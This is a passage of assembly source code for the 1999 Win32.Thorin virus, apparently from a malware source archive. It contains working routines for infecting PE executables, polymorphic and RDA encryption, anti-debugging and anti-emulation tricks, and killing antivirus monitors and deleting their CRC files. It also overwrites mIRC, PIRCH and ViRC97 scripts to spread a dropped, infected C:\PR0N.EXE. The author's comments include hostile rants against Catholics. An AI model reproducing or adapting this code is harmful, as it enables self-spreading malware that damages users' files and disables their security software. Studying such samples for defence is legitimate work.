MalwareSourceCode/Win32/Infector/Win32.Thorin.asm
2020-10-16 23:26:21 +02:00

7818 lines
238 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

; [Win32.Thorin] - PE/mIRC/PIRCH/ViRC97/resident/semi-stealth/poly/RDA, etc.
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; ??» ??» ??» ???» ??» ??????» ??????»
; ??? ??? ??? ????» ??? ???????» ???????»
; ??? ?» ??? ??? ?????» ??? ??????? ???????
; ??????»??? ??? ??????»??? ??????» ???????
; ?????????? ??? ??? ?????? ???????? ???????» ??»
; ???????? ??? ??? ????? ??????? ???????? ???
; ????????» ??» ??» ??????» ??????» ??» ???» ??»
; ????????? ??? ??? ????????» ???????» ??? ????» ???
; ??? ???????? ??? ??? ???????? ??? ?????» ???
; ??? ???????? ??? ??? ???????» ??? ??????»???
; ??? ??? ??? ????????? ??? ??? ??? ??? ??????
; ??? ??? ??? ??????? ??? ??? ??? ??? ?????
;
; Virus Name : Thorin.11932 [ Bugfix version ]
; Virus Author : Billy Belcebu/iKX
; Origin : Spain
; Platform : Win32
; Target : PE files (EXE/SCR/CPL) & mIRC/PIRCH/ViRC97 spreading
; Poly : THME 1.0 [The Hobbit Mutation Engine]
; Unpack : LSCE 1.0 [Little Shitty Compression Engine]
; Compiling : TASM 5.0 and TLINK 5.0 should be used
; tasm32 /ml /m3 thorin,,;
; tlink32 /Tpe /aa /c /v thorin,thorin,,import32.lib,
; pewrsec thorin.exe
; Why 'Thorin'? : Heh, are you an incult guy? Heh, have you ever read the
; wonderful book of the wonderful author J. R. R. Tolkien,
; called "The Hobbit"? Ok, if you did it, you can realize
; that the most important dwarf is called in this way :) He
; died with honour, and he couldn't taste the victory and be
; the king, anyway thanks to him, the Middle-Earth was a much
; better world for years. Ain't it charming? ;)
; Features : Ok, here i will list all that this babe is able to do...
; ? Infect PE files in current, Windows, and System dirs.
; ? Runtime module, infects 4 files each time.
; ? Per-Process residency (Import Table & GetProcAddress).
; ? Infects EXE, SCR & CPL files.
; ? Anti-Debugging features (SEH & 'IsDebuggerPresent').
; ? Anti-Emulation features.
; ? Anti-Monitors, kills AVP Monitor and AMON.
; ? Polymorphic layer of decryption.
; ? RDA layer of decryption.
; ? Size Stealth (FindFirstFileA/FindNextFileA).
; ? Fast infection (depending of the host).
; ? Internet aware virus: mIRC, ViRC97 and PIRCH scripts.
; ? Traversal routine for search for the scripts (hi LJ!).
; ? Packed dropper, used LSCE 1.0.
; ? Really tiny unpacker.
; ? Multiple payloads (see below).
; ? Doesn't hardcode KERNEL32 base address.
; ? Doesn't hardcode API addresses (of course).
; ? Gets Image Base at running time.
; ? Removes many AV CRC files.
; ? Avoids infection of certain (dangerous for us) files.
; Payloads : Yes, this virus has multiple payloads (hi DuST!). Let's see
; a little overview of them (executed every 26 of October).
; 1. The biggest one, based in a trick that i learnt from
; mandragore's viruses, dropping a file as C:\WIN.COM, that
; gets executed by the system before of the file that should
; be, that is C:\WINDOWS\WIN.COM, thus bringing us the possi-
; bility of own the computer before windows :) Well, it cons-
; ists in a very little, simple and easy quiz that all ppl
; who had read "The Hobbit" once in his life would be able to
; pass without problems, and consists of 3 questions.
; 2. Sets the HD's name as 'THORIN'.
; 3. Due an idea that my friend Qozah gave me, it swaps the
; mouse buttons, thus making the user be stoned... All you
; clicked with the left button, now you'll have to click with
; the right one, and vice-versa.
; 4. The typical MessageBox with a silly message.
; 5. Launches user to Microsoft page, thus annoying him and
; make his little and ignorant mind to think that the awaited
; Micro$oft offensive over the earth has began. Well, ain't
; this one charming? ;)
; Internet : This virus is able to spread itself using the most used
; IRC programs over the world: mIRC, PIRCH and ViRC. Every
; infected system will have a little infected file in
; C:\PR0N.EXE. This file is sent to everyone that joins the
; channel where the user is chatting by DCC. Very simple and
; effective.
; Greetings : This virus is dedicated to many people... Firstly, to the
; iKX crew for trust in me, to the DDT past,present and futu-
; re crew for the friendship during the time, 29A ppl, FS ppl
; etc. Now, the personal greetings (w/ no particular order):
;
; SeptiC - Your 'Internet aware viruses' article rules!!!
; b0z0 - Hi, my favourite 'little' clown :)
; StarZer0 - no. no, no. no sex.
; Int13h - I'd like you come to Spain :)
; Murkry - I'm glad to be in a group with this genius.
; n0ph - I still don't have the pleasure of knowin' you...
; Somniun - Si tienes alguna duda de Win32, pregunta!! ;)
; Wintermute - RAMMSTEIN rules! You always have reason ;)
; Owl - You are very isolated from the world, pal :)
; Vecna - The best coder of everytime.
; Ypsilon - Nos vemos en septiembre! :)
; Bumblebee - Pues eso, a ver si tu vienes tambien...
; TechnoPhunk - Forget catholicism and be nihilist! ;)
; Qozah - I'd like to do a cooperation project with ya ;)
; Benny - Same with you :) Yer a reely impressive codah!
; Super - ?Como te va en Castellon?
; nIgr0 - Code viruses, not 'legal' thingies!
; MDriller - best p0lys without any kinda discussion...
; T-2000 - I share ur ideas 'bout religion: radical but true
; SlageHammer - I loved yer city! Milano rocks! Padania rocks!
; VirusBuster - I've seen "Love Struck Baby" video. SRV rlz ;)
; LordJulus - Keep on coding, but optimize more! ;)
;
; Also dedicated to all the Bards around!
;
; Thoughts : This is, nowadays, my best virus so far, over Iced Earth,
; Garaipena, and Nitro, all of them for Windoze. I needed to
; do at least a good virus, for feed my own ego (why lie?),
; and i think this is what really happened. But i won't stop
; there, there are many things yet to explore (and exploit)
; in 32 bit enviroments, there are many problems unsolved,
; and i will try to contribute with my humble code for all
; those purposes. Btw, i used, in my other viruses, to try to
; optimize , but in this virus i didn't. I mean, you won't
; see here OBVIOUS lacks of optimization, like CMP reg,-1 but
; i will use many times the same code in different procedures
; many strings, two droppers (one for IRC distribution, and
; other for one payload). This virus is big in its size, well
; not as Win32.Harrier, Win32.Libertine, WinNT.Remex, etc.,
; but it's a 'big' one, and i hope this will mean a 'good'
; one. Fuck, i've coded also a lot of payloads, none of them
; is destructive, but all are VERY annoying... The descripti-
; on is above, if you don't believe me.
; Well, now i'm gonna excuse myself, because while making
; this virus (based initially on my Win95.Iced Earth) i have
; noticed the great quantity of bugs that my Iced Earth virus
; had (believe me, more than 10 incredible bugs!), and i'm
; still wondering why all those escaped from my beta testing.
; Moreover, all those bugs only reflect my incompetence. With
; this virus i have made very serious tests, mainly because
; some delicated parts of the virus needed it to work perfec-
; ly (i.e. per-process residence). Maybe there will be also
; bugs, but now at least i know there are less :)
; My next steps will be the research in the fields of MMX
; polymorphism, some metamorphism, and i hope that my next
; virus will use EPO techniques, because i haven't experimen-
; ted yet with such a kewl thing.
; Politics : Benny doesn't like that i use to talk about politics, but i
; have put it there just for explain some things that could
; guide you to misunderstand my way of act. Everybody knows
; that i tend to Marxism, right? Well, but i'm not saying
; with this that i support Fidel Castro, Mao, and such like
; pseudo-communists (that tend to totalitarism). I think that
; everybody must have the same oportunities, and without any
; kind of discrimination. But as i am not a guy with an only
; idea, i support also (if there isn't any other choice) the
; democracy, but i prefer it to be a democracy as participa-
; tion and not as a procediment. Whom has studied some philo-
; sophy will know of what i am talking about: avoid the fi-
; erce and discriminatory capitalism. As i am tolerant, you
; can be againist my ideas, and i will accept it. So Benny,
; i'm not a totalitarian asshole, just the opposite, i'm just
; a young idealist :) Be free, enjoy life...
; Final note : Although it screwed me a lot, i haven't put data in the
; heap as i used to do because this virus is too big and the
; data used temporally is also too big, and it generated some
; protection faults... SHIT!!!!
;
; That is not dead
; which can eternal lie
; yet with strange aeons
; even death may die
;
; -H. P. Lovecraft-
;
; (c) 1999 Billy Belcebu/iKX
.586p
.model flat
.data
; 1st gen exported apis
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
; Some useful equates
virus_size equ (offset virus_end-offset virus_start)
poly_virus_size equ (offset crypt_end-offset thorin)
shit_b4_delta equ (offset delta-offset virus_start)
encrypt_size equ (crypt_end-crypto)
non_crypt_size equ (virus_size-encrypt_size-rda_decryptor)
rda_decryptor equ (virus_end-crypt_end)
section_flags equ 00000020h or 20000000h or 80000000h
directory_attr equ 00000010h
temp_attributes equ 00000080h
drop_old_size equ 00011000d
n_Handles equ 50d
WFD_HndSize equ n_Handles*8
n_infections equ 04h
bad_number equ 09h
orig_size equ 044h
mark equ 04Ch
ddInfMark equ "NRHT"
kernel_ equ 0BFF70000h ; Only used if the K32 search
kernel_wNT equ 077F00000h ; fails...
imagebase_ equ 000400000h ; y0h0h0
; Interesting macros for my code
cmp_ macro reg,joff1 ; Optimized version of
inc reg ; CMP reg,0FFFFFFFFh
jz joff1 ; JZ joff1
dec reg ; The code is reduced in 3
endm ; bytes (7-4)
cmpz macro reg,joff2 ; Optimized version of
xchg reg,ecx ; CMP reg,00h
jecxz joff2 ; JZ joff2
endm ; Code reduced in 2 bytes
cmpz_ macro reg,joff3 ; Blah
or reg,reg
jz joff3
endm
apicall macro apioff ; Optimize muthafucka!
call dword ptr [ebp+apioff]
endm
rva2va macro reg,base ; Only for make preetiest the
add reg,[ebp+base] ; code ;)
endm
virussize macro
db virus_size/10000 mod 10 + "0"
db virus_size/01000 mod 10 + "0"
db virus_size/00100 mod 10 + "0"
db virus_size/00010 mod 10 + "0"
db virus_size/00001 mod 10 + "0"
endm
; Some shitty thingies in data section... 1st gen host messages
.data
szTitle db "[Win32.Thorin]",0
szMessage db "First Generation Sample",10
db "Virus Size : "
virussize
db " bytes"
db 10
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
; El ke mucho llora es porke no mama!
.code
; ===========================================================================
; Virus code
; ===========================================================================
; DU HAST MICH!!!
virus_start label byte
poly_layer db LIMIT dup (90h) ; Space for poly-decryptor
thorin:
pushad ; Push all da shit
pushfd
fwait ; Reset coprocessor
fninit
call kill_av ; Anti-emulation trick
mov esp,[esp+08h]
xor edx,edx
pop dword ptr fs:[edx]
pop edx
jmp over_trap
kill_av:
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
dec byte ptr [edx]
jmp over_rda
over_trap:
call delta ; Hardest code to undestand ;)
delta: pop ebp
mov eax,ebp
sub ebp,offset delta
sub eax,shit_b4_delta
sub eax,00001000h
NewEIP equ $-4
push eax ; Save it
or ebp,ebp ; Goddamn first gen...
jz over_rda
call rda_crypt
jmp over_rda
; ===========================================================================
; RDA Layer (Random Decryption Algorithm)
; ===========================================================================
; I have become a direct. I have become insurgent.
rda_crypt proc
xor ebx,ebx ; Clear counter
try_another_key:
call crypt ; Try to decrypt it
push ebx ; Save counter
lea esi,[ebp+crypto] ; Load address to crypt
mov edi,encrypt_size ; Size to crypt
call CRC32 ; Get its CRC32
pop ebx ; Restore counter
cmp eax,12345678h ; Actual CRC32=CRC32 unencrypted?
CRC equ $-4
jz rda_done ; Yeah, then we decrypted it
call crypt ; Nopes, fix it
inc ebx ; increase key
jmp try_another_key ; Try with another key
rda_done:
ret
rda_crypt endp
crypt proc ; This procedures simplifies
lea edi,[ebp+crypto] ; the task (and optimizes) of
mov ecx,encrypt_size ; encrypt with a determinated
rda_: xor byte ptr [edi],bl ; key
inc edi
loop rda_
ret
crypt endp
; Legalizar consimizion, no te konviene... se akaba el filon!
; ===========================================================================
; CRC32 calculator [by Vecna]
; ===========================================================================
;
; input:
; ESI = Offset where code to calculate begins
; EDI = Size of that code
; output:
; EAX = CRC32 of given code
;
CRC32 proc
cld
push ebx
xor ecx,ecx ; Optimized by me - 2 bytes
dec ecx ; less
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; Another fool byte less
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
crypto equ $
db " [IAIDA] " ; Little message to the pree-
; tiest girl over the earth.
; She deserves much more, i
; know... anyway... she's here!
; No penseis ke soy baboso, ein?!?!?!?!?!? :)
over_rda:
pop eax
mov dword ptr [ebp+ModBase],eax ; EAX = Image Base of module
call ChangeSEH ; SEH rlz.
mov esp,[esp+08h] ; Restore stack
jmp RestoreSEH
ChangeSEH:
xor ebx,ebx ; Joder, no joderemos...
push dword ptr fs:[ebx] ; pero ­JODER! las ganas ke
mov fs:[ebx],esp ; tenemos :)
and byte ptr [ebp+inNT],00h ; Make zero inNT variable
mov ecx,cs ; Check if we are under WinNT
xor cl,cl
jecxz WinNT ; ECX = 0 - WinNT;100 - Win9X
jmp shock
WinNT:
inc byte ptr [ebp+inNT] ; If NT, mark this
shock:
mov esi,[esp+2Ch] ; Get program return address
mov ecx,05d ; Max level
call GetK32
; I hate the catholicism... I HATE THE CATHOLICISM!!!! STOP HIPOCRISY!!!!!!!!
; STOP THOSE GODDAMN LIES!!! What is that? God helps us? Hahahahah!!! So, you
; stupid catholic asshole... why there are wars, genocides, etc? Why we, the
; human race, are as cruel with other humans, the nature, and everything that
; goes againist our own process to earn money? Open your eyes... i won't make
; you change using the power... just change yourself... it's your choice.
asakopako:
mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address
; This is the main branch of the virus
lea edi,[ebp+@@Offsetz]
lea esi,[ebp+@@Namez]
call GetAPIs ; Retrieve all APIs
call AntiDebugger ; Antidebug their arse
call PrepareInfection ; Set-up infection
call KillMonitors ; Kill AV monitors
call InfectItAll ; Infect dirs
call DropPR0N ; Unpack and drop PR0N.EXE
call TraversalSearch ; Search for scripts and dr0p
call HookAllAPIs ; Hook IT APIs
; Ok, we prepare to end the adventure...
push WFD_HndSize ; Hook some mem for WFD_Handles
push 00000000h ; structure
apicall _GlobalAlloc
mov dword ptr [ebp+WFD_HndInMem],eax
; Activate payload every 26th of October, a magical day.
lea eax,[ebp+SYSTEMTIME]
push eax
apicall _GetSystemTime
cmp word ptr [ebp+ST_wDay],31d
jnz continue_payload
jmp delete_key
continue_payload:
cmp word ptr [ebp+ST_wDay],26d
jnz no_payload
cmp word ptr [ebp+ST_wMonth],10d
jnz no_payload
call payload ; Well... payloads :)
no_payload:
xchg ebp,ecx ; 1st gen shit
jecxz fakehost_
RestoreSEH:
xor ebx,ebx ; Restore old SEH handler
pop dword ptr fs:[ebx]
pop eax
popfd ; Restore registers & flags
popad
mov ebx,12345678h ; Here goes program's EIP
org $-4
OldEIP dd 00001000h
add ebx,12345678h ; And here its base address
org $-4
ModBase dd imagebase_
push ebx ; We return control to host
ret
fakehost_:
jmp fakehost ; 1st gen shitz0r
; CATHOLICISM = FASCISM = SHIT
delete_key: ; This gets executed once
lea esi,[ebp+key_mIRC] ; each 2 months :)
call DelReg
lea esi,[ebp+key_PIRCH]
call DelReg
lea esi,[ebp+key_ViRC97]
call DelReg
jmp no_payload
; ===========================================================================
; Most important virus info :)
; ===========================================================================
vname label byte
db "[Win32.Thorin."
virussize
db " v1.00]",00h
copyr db "Copyright (c) 1999 by Billy Belcebu/iKX",0
; ===========================================================================
; Obtain useful info that will be used in infection process
; ===========================================================================
PrepareInfection:
lea edi,[ebp+WindowsDir] ; Pointer to the variable
push 7Fh ; Size of dir variable
push edi ; Push it!
apicall _GetWindowsDirectoryA
add edi,7Fh ; Pointer to the variable
push 7Fh ; Size of dir variable
push edi ; Push it!
apicall _GetSystemDirectoryA
add edi,7Fh ; Pointer to the variable
push edi ; Size of dir variable
push 7Fh ; Push it!
apicall _GetCurrentDirectoryA
lea eax,[ebp+szUSER32] ; Get all needed APIs from
push eax ; the USER32.DLL library
apicall _LoadLibraryA
xchg eax,ebx
lea edi,[ebp+@@USER32_APIs] ; Pointer to API strings
lea esi,[ebp+@@USER32_Addresses] ; Pointer to API addresses
retrieve_user32_apis:
push edi ; Push pointer to string
push ebx ; Push USER32 base address
apicall _GetProcAddress
xchg edi,esi ; Store the address
stosd
xchg edi,esi
xor al,al ; Get the end of string
scasb
jnz $-1
cmp byte ptr [edi]," " ; I like girls...
jz all_user32_apis ; Is last api?
jmp retrieve_user32_apis
all_user32_apis:
lea eax,[ebp+szADVAPI32] ; Here we will get all needed
push eax ; APIs from ADVAPI32.DLL
apicall _LoadLibraryA
xchg eax,ebx
lea edi,[ebp+@@ADVAPI32_APIs] ; Pointer to API names
lea esi,[ebp+@@ADVAPI32_Addresses] ; Pointer to API addresses
retrieve_advapi32_apis:
push edi ; Push pointer to name
push ebx ; Push ADVAPI32 base address
apicall _GetProcAddress
xchg edi,esi ; Store API address
stosd
xchg edi,esi
xor al,al ; Get the end of API string
scasb
jnz $-1
cmp byte ptr [edi],"" ; I like music [:)~
jz all_advapi32_apis
jmp retrieve_advapi32_apis
all_advapi32_apis:
ret
; Heh, a greeting to the man (and the book!) that inspired this virus :)
db 0,"[The Hobbit (c) 1937 by J.R.R. Tolkien]",0
; ===========================================================================
; Infect current, Windows and System directories
; ===========================================================================
InfectItAll:
lea edi,[ebp+directories] ; Pointer to 1st directory
mov byte ptr [ebp+mirrormirror],dirs2inf ; Set up variable
requiem:
push edi ; Set as current dir the
apicall _SetCurrentDirectoryA ; dir to infect
call DeleteShit ; Delete AV CRC files
push edi
; Initialize this values for each directory processed
and byte ptr [ebp+CurrentExt],00h
lea esi,[ebp+EXTENSIONS]
lea edi,[ebp+EXTENSION]
infect_all_masks:
cmp byte ptr [ebp+CurrentExt],n_EXT
jae all_mask_infected
lodsd ; EAX = EXTENSION
mov [edi],eax ; No STOSD! We don't want EDI
; to change...
push edi esi
call Infect ; Infect some files
pop esi edi
inc byte ptr [ebp+CurrentExt]
jmp infect_all_masks
all_mask_infected:
pop edi
add edi,7Fh ; Get another directory
dec byte ptr [ebp+mirrormirror] ; Check if we infected all
cmp byte ptr [ebp+mirrormirror],00h ; available directories
jnz requiem
ret
; ===========================================================================
; Search MASK and infect found uninfected files
; ===========================================================================
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit
push eax
lea eax,[ebp+offset _MASK]
push eax
apicall _FindFirstFileA ; Get first file on directory
cmp_ eax,FailInfect ; Failed? Shit...
mov dword ptr [ebp+SearchHandle],eax
__1: lea edi,[ebp+WFD_szFileName]
call AvoidShitFiles
jc __2
push dword ptr [ebp+NewEIP]
push dword ptr [ebp+OldEIP]
push dword ptr [ebp+ModBase]
call Infection ; Infect file
pop dword ptr [ebp+ModBase]
pop dword ptr [ebp+OldEIP]
pop dword ptr [ebp+NewEIP]
jc __2
inc byte ptr [ebp+infections]
cmp byte ptr [ebp+infections],n_infections ; Did we infected them?
jae FailInfect ; Yeah... :)
__2: lea edi,[ebp+WFD_szFileName] ; Clear name field
mov ecx,MAX_PATH
xor al,al
rep stosb
lea eax,[ebp+offset WIN32_FIND_DATA] ; Search for another file
push eax
push dword ptr [ebp+SearchHandle]
apicall _FindNextFileA
cmpz eax,CloseSearchHandle
jmp __1
CloseSearchHandle:
push dword ptr [ebp+SearchHandle] ; Close search handle
apicall _FindClose
FailInfect:
ret
db 0,"[Luthien is still alive in the world]",0
; ===========================================================================
; Traversal search for mIRC and PIRCH scripts (modified version of LJ's code)
; ===========================================================================
TraversalSearch:
lea esi,[ebp+tempcurdir] ; Get the current directory
push esi ; (We only want the current
push 7Fh ; drive)
apicall _GetCurrentDirectoryA
lodsb ; Get drive
mov byte ptr [ebp+root],al ; Put it in its variable
lea eax,[ebp+root] ; Reach the root directory
push eax ; of the current drive
apicall _SetCurrentDirectoryA
Traversal:
lea esi,[ebp+key_mIRC] ; Already catched? Avoid
call RegExist ; this if so, as it needs many
jc nomoretosearch ; time, and the user could
lea esi,[ebp+key_PIRCH] ; notice our presence :)
call RegExist
jc nomoretosearch
lea esi,[ebp+key_ViRC97]
call RegExist
jc nomoretosearch
xor ebx,ebx ; Clear counter
findfirstdir:
lea edi,[ebp+_WIN32_FIND_DATA] ; Search for directories
push edi
lea eax,[ebp+ALL_MASK]
push eax
apicall _FindFirstFileA
cmp_ eax,notfoundfirstdir
mov dword ptr [ebp+TSHandle],eax
main_trav:
cmp dword ptr [ebp+_WFD_dwFileAttributes],directory_attr
jnz findnextdir
lea eax,[ebp+_WFD_szFileName]
cmp byte ptr [eax],"." ; Is dir "." or ".."?
jz findnextdir ; Shitz
push eax
apicall _SetCurrentDirectoryA
pushad
call Worms ; Let's rock!
popad
push dword ptr [ebp+TSHandle] ; Save handle
inc ebx ; Increase counter :)
jmp findfirstdir
findnextdir:
push edi ; Search for another dir
push dword ptr [ebp+TSHandle]
apicall _FindNextFileA
cmpz eax,notfoundfirstdir
jmp main_trav
notfoundfirstdir:
lea eax,[ebp+dotdot] ; Go back 1 dir
push eax
apicall _SetCurrentDirectoryA
or ebx,ebx ; Are we in root? yeah, it's
jz nomoretosearch ; over! our search finished!
dec ebx ; Decrease countah
pop dword ptr [ebp+TSHandle]
jmp findnextdir
notfoundnextdir:
push dword ptr [ebp+TSHandle]
apicall _FindClose
jmp notfoundfirstdir
nomoretosearch:
lea esi,[ebp+key_PIRCH] ; Mark all registry keys...
call PutReg
lea esi,[ebp+key_mIRC]
call PutReg
lea esi,[ebp+key_ViRC97]
call PutReg
lea esi,[ebp+tempcurdir] ; And put current directory
push esi ; back :)
apicall _SetCurrentDirectoryA
ret
db 0,"[Thorin,Dori,Nori,Ori,Balin,Dwalin,Fili,Kili,Oin,Gloin,"
db "Bifur,Bofur,Bombur]",0
; ===========================================================================
; Worms (mIRC & PIRCH) installer
; ===========================================================================
Worms:
call DeleteShit ; Delete AV CRCs from all dir
push 80h ; We test for the presence of
lea eax,[ebp+PirchWormFile] ; the scripts by setting a
push eax ; normal attribute to them.
apicall _SetFileAttributesA ; If the api returns us an
xchg eax,ecx ; error, then we know the
jecxz TryWithMIRC ; file doesn't exist :)
jmp BorrowPIRCH ; As in DOS! ;)
TryWithMIRC:
push 80h
lea eax,[ebp+mIRCWormFile]
push eax
apicall _SetFileAttributesA
xchg eax,ecx
jecxz TryWithViRC97
jmp BorrowMIRC
TryWithViRC97:
push 80h
lea eax,[ebp+ViRC97WormFile]
push eax
apicall _SetFileAttributesA
xchg eax,ecx
jecxz ExitWorms
jmp BorrowViRC97
ExitWorms:
ret
; ===========================================================================
; PIRCH script overwrite
; ===========================================================================
BorrowPIRCH: ; If file found, drop the
xor eax,eax ; new script file
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h
call _PIRCH
PirchWormFile db "events.ini",0 ; What to overwrite
_PIRCH: apicall _CreateFileA
mov dword ptr [ebp+TempHandle],eax
push 00000000h ; Overwrite with our script :)
lea ebx,[ebp+iobytes]
push ebx
push PirchWormSize
lea ebx,[ebp+PirchWorm]
push ebx
push eax
apicall _WriteFile
mov ecx,PirchWormSize ; And trunc the file, so there
call TruncFile ; won't be more shit ;)
push dword ptr [ebp+TempHandle]
apicall _CloseHandle
ret
; ===========================================================================
; mIRC script overwrite
; ===========================================================================
BorrowMIRC: ; Same as above, but with
xor eax,eax ; mIRC scripts
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h
call _mIRC
mIRCWormFile db "mirc.ini",0
_mIRC: apicall _CreateFileA
mov dword ptr [ebp+TempHandle],eax
push 00000000h
lea ebx,[ebp+iobytes]
push ebx
push mIRCWormSize
lea ebx,[ebp+mIRCWorm]
push ebx
push eax
apicall _WriteFile
mov ecx,mIRCWormSize
call TruncFile
push dword ptr [ebp+TempHandle]
apicall _CloseHandle
ret
; ===========================================================================
; ViRC97 script overwrite
; ===========================================================================
BorrowViRC97: ; Same as above, but with
xor eax,eax ; ViRC97 scripts
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 40000000h
call _ViRC97
ViRC97WormFile db "default.lib",0
_ViRC97:apicall _CreateFileA
mov dword ptr [ebp+TempHandle],eax
push 00000000h
lea ebx,[ebp+iobytes]
push ebx
push ViRC97WormSize
lea ebx,[ebp+ViRC97Worm]
push ebx
push eax
apicall _WriteFile
mov ecx,ViRC97WormSize
call TruncFile
push dword ptr [ebp+TempHandle]
apicall _CloseHandle
ret
; ===========================================================================
; Unpack, drop and infect our PE file [TROJAN mode]
; ===========================================================================
DropPR0N:
push drop_old_size ; Allocate some memory
push 00000000h
apicall _GlobalAlloc
cmpz eax,_ExitDropPR0N
mov dword ptr [ebp+GlobalAllocHnd],ecx
mov edi,dropper_size ; Unpack in allocated memory
xchg edi,ecx ; the dropper
lea esi,[ebp+dropper]
call LSCE_UnPack
push 00000000h ; Create the dropper on
push 00000080h ; C:\PR0N.EXE (hi darkman!) ;)
push 00000002h
push 00000000h
push 00000001h
push 40000000h
call _PR0N
pr0nfile db "C:\PR0N.EXE",0
_ExitDropPR0N:
jmp ExitDropPR0N
_PR0N: apicall _CreateFileA
push eax ; Write it, sucka!
push 00000000h
lea ebx,[ebp+iobytes]
push ebx
push drop_old_size
push dword ptr [ebp+GlobalAllocHnd]
push eax
apicall _WriteFile
apicall _CloseHandle
lea edi,[ebp+pr0nfile] ; Infect it
call _Infection
push dword ptr [ebp+GlobalAllocHnd] ; And free allocated memory
apicall _GlobalFree
ExitDropPR0N:
ret
; ===========================================================================
; Self protect virus againist debuggers
; ===========================================================================
AntiDebugger:
apicall _GetVersion ; Check for Win95, as it dont
cmp eax,80000000h ; have the IsDebuggerPresent
jb BetterNot ; API.
cmp ax,0A04h
jb BetterNot
lea esi,[ebp+@IsDebuggerPresent]
call GetAPI_ET
call eax ; Are we being debugged? Shit!
cmpz eax,BetterNot
cli ; Who said that Windoze don't
jmp $-1 ; use interrupts? ;) Int8 rlz
BetterNot:
ret
db 0,"[Dedicated to all Tolkien fans over the middle-earth]",0
; ===========================================================================
; Kill AV CRC files
; ===========================================================================
DeleteShit:
pushad
lea edi,[ebp+@@BadPhilez] ; Load pointer to first file
mov ecx,bad_number ; Number of files to erase
killem: push ecx ; Save the number
push edi ; Push file to erase
apicall _DeleteFileA ; Delete it!
pop ecx ; Restore the number
xor al,al ; Get the next file
scasb
jnz $-1
loop killem ; Loop and delete another :)
popad
ret
; ===========================================================================
; Kill the processes of determinated AV monitors
; ===========================================================================
KillMonitors:
lea edi,[ebp+Monitors2Kill]
KM_L00p:
call TerminateProc
xor al,al ; Reach the end of string
scasb
jnz $-1
cmp byte ptr [edi],0BBh ; Last item of array?
jnz KM_L00p
ret
; ===========================================================================
; Avoid infection of certain files
; ===========================================================================
;
; input:
; EDI = Pointer to file name
; output:
; CF = Set to 1 if it exist, to 0 if it doesn't
;
AvoidShitFiles:
lea esi,[ebp+@@BadProgramz] ; Ptr to table
ASF_Loop:
xor eax,eax ; Clear EAX
lodsb ; Load size of string in AL
cmp al,0BBh ; End of table?
jz AllShitFilesProcessed ; Oh, shit!
xchg eax,ecx ; Put Size in ECX
push edi ; Preserve program pointer
rep cmpsb ; Compare both strings
pop edi ; Restore program pointer
jz ShitFileFound ; Damn, a shitty file!
add esi,ecx ; Pointer to another string
jmp ASF_Loop ; in table & loop
AllShitFilesProcessed:
mov cl,00h ; Overlap, so CL = 0F9h
org $-1
ShitFileFound:
stc ; Set carry
ret
; ===========================================================================
; PE Infection (with parameters)
; ===========================================================================
;
; input:
; EDI = Pointer to file name
; output:
; Nothing.
;
_Infection:
push edi
apicall _GetFileAttributesA
cmp_ eax,_ExitInfection
mov dword ptr [ebp+WFD_dwFileAttributes],eax
mov esi,edi
call OpenFile
cmp_ eax,_ExitInfection
push eax
push 00000000h
push eax
apicall _GetFileSize
mov dword ptr [ebp+WFD_nFileSizeLow],eax
apicall _CloseHandle
lea esi,[ebp+WFD_szFileName]
xchg esi,edi
duhast: lodsb
or al,al
jz engel
stosb
jmp duhast
engel: stosb
push dword ptr [ebp+NewEIP]
push dword ptr [ebp+OldEIP]
push dword ptr [ebp+ModBase]
call Infection
pop dword ptr [ebp+ModBase]
pop dword ptr [ebp+OldEIP]
pop dword ptr [ebp+NewEIP]
mov cl,00h ; Overlapppppp
org $-1
_ExitInfection:
stc
ret
; ===========================================================================
; PE Infection (with WIN32_FIND_DATA)
; ===========================================================================
;
; input:
; Nothing (everything needed is in WFD structure).
; output:
; Nothing.
;
Infection:
lea esi,[ebp+WFD_szFileName] ; Get FileName to infect
push 80h
push esi
apicall _SetFileAttributesA ; Wipe its attributes
call OpenFile ; Open it
cmp_ eax,CantOpen
mov dword ptr [ebp+FileHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
call CreateMap ; its exact size
cmpz_ eax,CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call MapFile ; Map it
cmpz_ eax,UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,eax ; Get PE Header
mov esi,[esi+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; Is it PE?
jnz NoInfect
cmp dword ptr [esi+mark],ddInfMark ; Was it infected?
jz NoInfect
push dword ptr [ebp+MapAddress]
apicall _UnmapViewOfFile
push dword ptr [ebp+MapHandle]
apicall _CloseHandle
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
add ecx,virus_size
call CreateMap
cmpz_ eax,CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
add ecx,virus_size
call MapFile
cmpz_ eax,UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,eax
mov esi,[eax+3Ch]
add esi,eax
call GetLastSection ; ESI = Last Section
; EDI = PE header
mov eax,[edi+28h] ; Save original EIP
mov dword ptr [ebp+OldEIP],eax
mov edx,[esi+10h]
mov ebx,edx
add edx,[esi+14h] ; EDX = Phisical address where
; append virus
push edx
mov eax,ebx
